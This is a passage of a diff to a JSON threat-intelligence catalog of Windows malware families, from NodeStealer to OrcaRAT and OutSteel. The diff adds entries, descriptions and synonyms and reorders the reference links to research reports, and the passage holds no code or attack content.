"94793dbc-3649-40a4-9ccc-1b32846ecb3a", "value": "Nocturnal Stealer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.node_stealer", + "https://unit42.paloaltonetworks.com/nodestealer-2-targets-facebook-business/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e7890226-7e39-4902-bbce-e384e0847303", + "value": "NodeStealer" + }, { "description": "Nokki is a RAT type malware which is believe to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki", + "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" ], "synonyms": [], @@ -36066,11 +37738,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa", - "https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokayawa-variant", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf", "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", - "https://www.zscaler.com/blogs/security-research/nokoyawa-ransomware-rust-or-bust", - "https://malgamy.github.io/malware-analysis/Nokoyawa/", "https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html", + "https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/", + "https://www.zscaler.com/blogs/security-research/nokoyawa-ransomware-rust-or-bust", + "https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/", + "https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokayawa-variant", + "https://malgamy.github.io/malware-analysis/Nokoyawa/", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", "https://github.com/MalGamy/YARA_Rules/blob/main/Nokoyawa.yara" ], @@ -36085,8 +37760,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nominatus_toxic_battery", - "https://twitter.com/struppigel/status/1501473254787198977", - "https://www.trellix.com/en-us/about/newsroom/stories/research/wipermania-an-all-you-can-wipe-buffet.html" + "https://www.trellix.com/en-us/about/newsroom/stories/research/wipermania-an-all-you-can-wipe-buffet.html", + "https://twitter.com/struppigel/status/1501473254787198977" ], "synonyms": [], "type": [] @@ -36094,6 +37769,19 @@ "uuid": "2fef9561-e16f-47a9-90c6-a68a1b20cc95", "value": "NominatusToxicBattery" }, + { + "description": "Ransomware", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nopyfy", + "https://labs.k7computing.com/index.php/say-no-to-nopyfy/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "62fe621a-04aa-4b5d-95d7-c1c3e4bcd17c", + "value": "Nopyfy" + }, { "description": "An open source C2 framework intended for pentest and red teaming activities.", "meta": { @@ -36108,7 +37796,7 @@ "value": "NorthStar" }, { - "description": "", + "description": "According to PCrisk, Nosu is the name of a malicious program classified as a stealer. This malware is designed to steal information from infected machines. The Nosu stealer can extract a wide variety of data from devices and installed applications. The most active campaigns associated with Nosu were noted in North and South America, as well as Southeast Asia.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu", @@ -36152,8 +37840,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom", "https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/", - "https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin", - "https://twitter.com/malwrhunterteam/status/910952333084971008" + "https://twitter.com/malwrhunterteam/status/910952333084971008", + "https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin" ], "synonyms": [], "type": [] @@ -36180,11 +37868,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer", - "https://www.youtube.com/watch?v=v_K_zoPGpdk", "https://www.youtube.com/watch?v=yLQfDk3dVmA", - "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://www.youtube.com/watch?v=v_K_zoPGpdk", "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", - "https://www.youtube.com/watch?v=92jKJ_G_6ho" + "https://www.youtube.com/watch?v=92jKJ_G_6ho", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/" ], "synonyms": [], "type": [] @@ -36193,12 +37881,12 @@ "value": "Nullmixer" }, { - "description": "", + "description": "According to PCrisk, Numando is a banking trojan written in the Delphi programming language. As the malicious program's classification implies, it is designed to steal banking information. Numando primarily targets Brazil, with seldom campaigns occurring in Mexico and Spain.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.numando", - "https://www.welivesecurity.com/2020/10/01/latam-financial-cybercrime-competitors-crime-sharing-ttps/", - "https://www.welivesecurity.com/2021/09/17/numando-latam-banking-trojan/" + "https://www.welivesecurity.com/2021/09/17/numando-latam-banking-trojan/", + "https://www.welivesecurity.com/2020/10/01/latam-financial-cybercrime-competitors-crime-sharing-ttps/" ], "synonyms": [], "type": [] @@ -36211,9 +37899,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit", - "http://www.isg.rhul.ac.uk/dl/weekendconference2014/slides/Erik_VanBuggenhout.pdf", + "https://twitter.com/Bank_Security/status/1134850646413385728", "https://twitter.com/r3c0nst/status/1135606944427905025", - "https://twitter.com/Bank_Security/status/1134850646413385728" + "http://www.isg.rhul.ac.uk/dl/weekendconference2014/slides/Erik_VanBuggenhout.pdf" ], "synonyms": [], "type": [] @@ -36226,9 +37914,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nworm", + "https://bazaar.abuse.ch/browse/tag/N-W0rm/", "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/", - "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/", - "https://bazaar.abuse.ch/browse/tag/N-W0rm/" + "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/" ], "synonyms": [ "NWorm", @@ -36244,22 +37932,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim", - "https://blog.talosintelligence.com/goznym/", - "https://securityintelligence.com/posts/goznym-closure-comes-in-the-shape-of-a-europol-and-doj-arrest-operation/", "https://www.sentinelone.com/blog/goznym-banking-malware-gang-busted/", - "https://www.cert.pl/en/news/single/nymaim-revisited/", - "https://www.shadowserver.org/news/goznym-indictments-action-following-on-from-successful-avalanche-operations/", "https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf", - "https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0", - "https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim", - "https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/", - "https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/", + "https://www.shadowserver.org/news/goznym-indictments-action-following-on-from-successful-avalanche-operations/", "https://www.lawfareblog.com/what-point-these-nation-state-indictments", - "https://www.proofpoint.com/us/threat-insight/post/nymaim-config-decoded", + "https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0", + "https://www.cert.pl/en/news/single/nymaim-revisited/", + "https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/", + "https://blog.talosintelligence.com/goznym/", + "https://bitbucket.org/daniel_plohmann/idapatchwork", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-aers-the-evolution-of-the-nymaim-criminal-enterprise.pdf", + "https://www.proofpoint.com/us/threat-insight/post/nymaim-config-decoded", + "https://www.virusbulletin.com/conference/vb2017/abstracts/linking-xpaj-and-nymaim", "https://www.justice.gov/opa/pr/goznym-cyber-criminal-network-operating-out-europe-targeting-american-entities-dismantled", - "https://bitbucket.org/daniel_plohmann/idapatchwork" + "https://securityintelligence.com/posts/goznym-closure-comes-in-the-shape-of-a-europol-and-doj-arrest-operation/", + "https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim", + "https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-aers-the-evolution-of-the-nymaim-criminal-enterprise.pdf", + "https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/" ], "synonyms": [ "nymain" @@ -36288,19 +37977,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oblique_rat", - "https://securelist.com/transparent-tribe-part-2/98233/", "https://www.secrss.com/articles/24995", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf", - "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/", - "https://blog.talosintelligence.com/2020/02/obliquerat-hits-victims-via-maldocs.html", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", - "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", - "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html", "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", + "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", + "https://securelist.com/transparent-tribe-part-2/98233/", + "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/", + "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", + "https://blog.talosintelligence.com/2020/02/obliquerat-hits-victims-via-maldocs.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" ], "synonyms": [], "type": [] @@ -36322,6 +38011,19 @@ "uuid": "8f623a37-80a4-4240-9586-6ea7a2a97e30", "value": "Obscene" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.observer_stealer", + "https://medium.com/@cyberhust1er/observerstealer-unmasking-the-new-contender-in-cyber-crime-6e54a40d801d" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9ddbf63f-c9a2-4bd6-8449-189f2d2ce5e4", + "value": "ObserverStealer" + }, { "description": "", "meta": { @@ -36340,10 +38042,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.octopus", - "https://www.prodaft.com/m/reports/PAPERBUG_TLPWHITE-1.pdf", + "https://securelist.com/octopus-infested-seas-of-central-asia/88200/", "https://mp.weixin.qq.com/s/v1gi0bW79Ta644Dqer4qkw", - "https://isc.sans.edu/diary/26918", - "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + "https://www.prodaft.com/m/reports/PAPERBUG_TLPWHITE-1.pdf", + "https://isc.sans.edu/diary/26918" ], "synonyms": [], "type": [] @@ -36385,8 +38087,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff", - "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks" + "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks" ], "synonyms": [], "type": [] @@ -36399,10 +38101,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.okrum", - "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/" + "https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/" ], "synonyms": [], "type": [] @@ -36415,9 +38117,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait", - "https://www.secjuice.com/fancy-bear-review/", "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf" + "https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", + "https://www.secjuice.com/fancy-bear-review/" ], "synonyms": [ "Sasfis" @@ -36432,30 +38134,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer", - "https://www.youtube.com/watch?v=rjA0Vf75cYk", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.lastline.com/labsblog/olympic-destroyer-south-korea/", - "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html", - "https://www.lastline.com/labsblog/attribution-from-russia-with-code/", - "https://www.youtube.com/watch?v=1jgdMY12mI8", - "https://www.youtube.com/watch?v=wCv9SiSA7Sw", - "https://www.virusbulletin.com/virusbulletin/2018/10/vb2018-paper-who-wasnt-responsible-olympic-destroyer/", "https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/", - "https://securelist.com/the-devils-in-the-rich-header/84348/", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.youtube.com/watch?v=a4BZ3SZN-CI", - "https://attack.mitre.org/groups/G0034", - "https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/", - "https://securelist.com/olympic-destroyer-is-still-alive/86169/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.mbsd.jp/blog/20180215.html", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", - "http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html", "https://www.wired.com/story/untold-story-2018-olympics-destroyer-cyberattack/", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.lastline.com/labsblog/attribution-from-russia-with-code/", + "https://www.youtube.com/watch?v=wCv9SiSA7Sw", + "https://www.youtube.com/watch?v=a4BZ3SZN-CI", + "http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html", + "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "https://www.mbsd.jp/blog/20180215.html", + "https://www.virusbulletin.com/virusbulletin/2018/10/vb2018-paper-who-wasnt-responsible-olympic-destroyer/", + "https://attack.mitre.org/groups/G0034", + "https://securelist.com/the-devils-in-the-rich-header/84348/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://www.endgame.com/blog/technical-blog/stopping-olympic-destroyer-new-process-injection-insights", - "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too" + "https://www.youtube.com/watch?v=1jgdMY12mI8", + "https://www.youtube.com/watch?v=rjA0Vf75cYk", + "https://securelist.com/olympic-destroyer-is-still-alive/86169/", + "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", + "https://www.lastline.com/labsblog/olympic-destroyer-south-korea/", + "https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/" ], "synonyms": [ "SOURGRAPE" @@ -36470,8 +38172,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat", - "https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators", - "https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview" + "https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview", + "https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators" ], "synonyms": [], "type": [] @@ -36497,11 +38199,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke", + "https://www.secureworks.com/research/threat-profiles/iron-hemlock", "https://www.f-secure.com/weblog/archives/00002764.html", - "http://contagiodump.blogspot.com/2014/11/onionduke-samples.html", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", "https://blog.f-secure.com/podcast-dukes-apt29/", - "https://www.secureworks.com/research/threat-profiles/iron-hemlock" + "http://contagiodump.blogspot.com/2014/11/onionduke-samples.html", + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/" ], "synonyms": [], "type": [] @@ -36514,9 +38216,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner", - "https://outpost24.com/blog/an-analysis-of-a-spam-distribution-botnet", - "https://benkowlab.blogspot.com/2017/08/from-onliner-spambot-to-millions-of.html", "https://www.blueliv.com/blog/research/analysis-spam-distribution-botnet-onliner-spambot/", + "https://benkowlab.blogspot.com/2017/08/from-onliner-spambot-to-millions-of.html", + "https://outpost24.com/blog/an-analysis-of-a-spam-distribution-botnet", "https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html" ], "synonyms": [ @@ -36533,10 +38235,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie", + "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr", + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr", "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [], @@ -36550,9 +38252,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki", - "http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html", - "http://contagiodump.blogspot.com/2009/11/win32opachkia-trojan-that-removes-zeus.html", "https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519", + "http://contagiodump.blogspot.com/2009/11/win32opachkia-trojan-that-removes-zeus.html", + "http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html", "https://forum.malekal.com/viewtopic.php?t=21806" ], "synonyms": [], @@ -36587,6 +38289,19 @@ "uuid": "03d44ec8-ebb4-4d90-9773-c11f4a7de074", "value": "OpenSUpdater" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.open_carrot", + "https://www.sentinelone.com/labs/comrades-in-arms-north-korea-compromises-sanctioned-russian-missile-engineering-company/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7fb5882e-1682-45d3-9dfb-204e6c1ca4c9", + "value": "OpenCarrot" + }, { "description": "This entry serves as a placeholder of malware observed during Operation Ghoul. The samples will likely be assigned to their respective families. Some families involved and identified were Alina POS (Katrina variant) and TreasureHunter POS.", "meta": { @@ -36631,8 +38346,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat", - "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", - "http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html" + "http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html", + "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood" ], "synonyms": [], "type": [] @@ -36641,16 +38356,18 @@ "value": "OrcaRAT" }, { - "description": "A malware generating DGA domains seeded by the Bitcoin Genesis Block.", + "description": "A malware generating DGA domains seeded by the Bitcoin Genesis Block. This family has strong code overlap with win.victorygate.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.orchard", - "https://bin.re/blog/a-dga-seeded-by-the-bitcoin-genesis-block/", + "https://blog.netlab.360.com/orchard-dga/", "https://malverse.it/stack-string-decryptor-con-ghidra-emulator-orchard", "https://blog.netlab.360.com/a-new-botnet-orchard-generates-dga-domains-with-bitcoin-transaction-information/", - "https://blog.netlab.360.com/orchard-dga/" + "https://bin.re/blog/a-dga-seeded-by-the-bitcoin-genesis-block/" + ], + "synonyms": [ + "Antavmu" ], - "synonyms": [], "type": [] }, "uuid": "094159e7-cc4f-4c47-b24e-b0a32ba23a58", @@ -36661,19 +38378,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat", - "https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors", - "http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/", "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/", - "https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://asec.ahnlab.com/en/45462/", - "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/", - "https://any.run/cybersecurity-blog/orcus-rat-malware-analysis/", "https://assets.virustotal.com/reports/2021trends.pdf", - "https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/" + "https://any.run/cybersecurity-blog/orcus-rat-malware-analysis/", + "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", + "https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html", + "https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors", + "https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/", + "https://asec.ahnlab.com/en/45462/", + "https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/", + "http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "Schnorchel" @@ -36688,12 +38405,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt", - "https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/", "https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html", - "https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/", - "https://www.gdata.de/blog/2017/11/30151-ordinypt", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat" + "https://www.gdata.de/blog/2017/11/30151-ordinypt", + "https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/", + "https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/" ], "synonyms": [ "GermanWiper", @@ -36722,16 +38439,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski", - "https://cyberint.com/blog/research/mars-stealer/", "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", + "https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer", "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601", + "https://twitter.com/albertzsigovits/status/1160874557454131200", "https://3xp0rt.com/posts/mars-stealer", "https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/", - "https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view", - "https://twitter.com/albertzsigovits/status/1160874557454131200", - "https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer", - "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468" + "https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601", + "https://cyberint.com/blog/research/mars-stealer/", + "https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view" ], "synonyms": [], "type": [] @@ -36744,8 +38461,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.osno", - "https://www.gdatasoftware.com/blog/2020/11/36459-babax-stealer-rebrands-to-osno-installs-rootkit", - "https://labs.k7computing.com/?p=21562" + "https://labs.k7computing.com/?p=21562", + "https://www.gdatasoftware.com/blog/2020/11/36459-babax-stealer-rebrands-to-osno-installs-rootkit" ], "synonyms": [ "Babax" @@ -36760,8 +38477,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ousaban", - "https://www.netskope.com/blog/ousaban-latam-banking-malware-abusing-cloud-services", "https://www.welivesecurity.com/2021/05/05/ousaban-private-photo-collection-hidden-cabinet/", + "https://www.netskope.com/blog/ousaban-latam-banking-malware-abusing-cloud-services", "https://www.atomicmatryoshka.com/post/ousaban-msi-installer-analysis" ], "synonyms": [], @@ -36788,9 +38505,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor", + "https://twitter.com/VK_Intel/status/1085820673811992576", "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://twitter.com/VK_Intel/status/1085820673811992576" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" ], "synonyms": [ "FACADE" @@ -36801,7 +38518,7 @@ "value": "Outlook Backdoor" }, { - "description": "", + "description": "According to MITRE, OutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Ember Bear since at least March 2021.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.outsteel", @@ -36818,8 +38535,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat", - 